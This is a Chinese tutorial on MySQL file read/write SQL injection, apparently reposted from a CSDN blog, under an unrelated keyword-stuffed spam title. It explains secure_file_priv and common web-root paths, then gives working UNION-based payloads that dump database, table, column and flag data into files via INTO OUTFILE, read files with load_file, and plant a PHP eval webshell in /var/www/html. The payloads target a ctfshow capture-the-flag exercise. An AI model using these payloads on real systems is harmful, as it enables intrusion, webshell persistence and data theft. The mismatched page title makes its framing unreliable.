您的位置:首页 > 汽车 > 时评 > 东莞最穷的三个镇_外贸网站怎么做比较好_seo翻译_常用的网站推广方法

东莞最穷的三个镇_外贸网站怎么做比较好_seo翻译_常用的网站推广方法

2025/4/29 9:03:21 来源:https://blog.csdn.net/m0_56019217/article/details/144013903  浏览:    关键词:东莞最穷的三个镇_外贸网站怎么做比较好_seo翻译_常用的网站推广方法
东莞最穷的三个镇_外贸网站怎么做比较好_seo翻译_常用的网站推广方法

什么是文件读写注入?

MySQL中有
读取文件的函数:load_file()
写入文件的函数:Into outfile(能写入多行,按格式输出)和 into dumpfile(只能写入一行且没有输出格式)
利用这些函数在SQL注入中进行读写操作,就是文件读写注入。

读写文件都需要secure_file_priv权限,该权限的配置写在my.ini配置文件中:

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

常见的可以进行文件读写操作的路径:

Windows系统
Phpstudy    phpstudy/www  phpstudy/PHPTutorial/www 
Xampp       xampp/htdocs                   
Wamp        wamp/www 
Appser      appser/www 
linux系统
/var/mysql/data 
/var/www/html    这个用的多一点

使用方法

写入文件注入:

?id=1')) union select 1,2,(select group_concat(schema_name) from information_schema.schemata) into outfile "/var/www/html/1.txt"--+

在这里插入图片描述然后我们访问写入的文件1.txt,得到所有数据库名:
在这里插入图片描述之后就是按联合注入的流程进行注入:

?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow') into outfile "/var/www/html/2.txt"--+
?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagdk') into outfile "/var/www/html/3.txt"--+
?id=1')) union select 1,2,(select group_concat(flag43) from ctfshow.flagdk) into outfile "/var/www/html/4.txt"--+

这里要注意,我们爆库名是在1.txt,之后的写入操作是不会修改1.txt中的内容的,所有爆表、爆字段这些操作写入2.txt、3.txt中。
得到flag:
在这里插入图片描述
写入webshell也行:

?id=1')) union select 1,'<?php eval($_POST[1]); ?>',3 into outfile '/var/www/html/1.php' --+

读取文件

?id=1')) union select 1,load_file('/var/www/html/1.txt'),2 --+

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com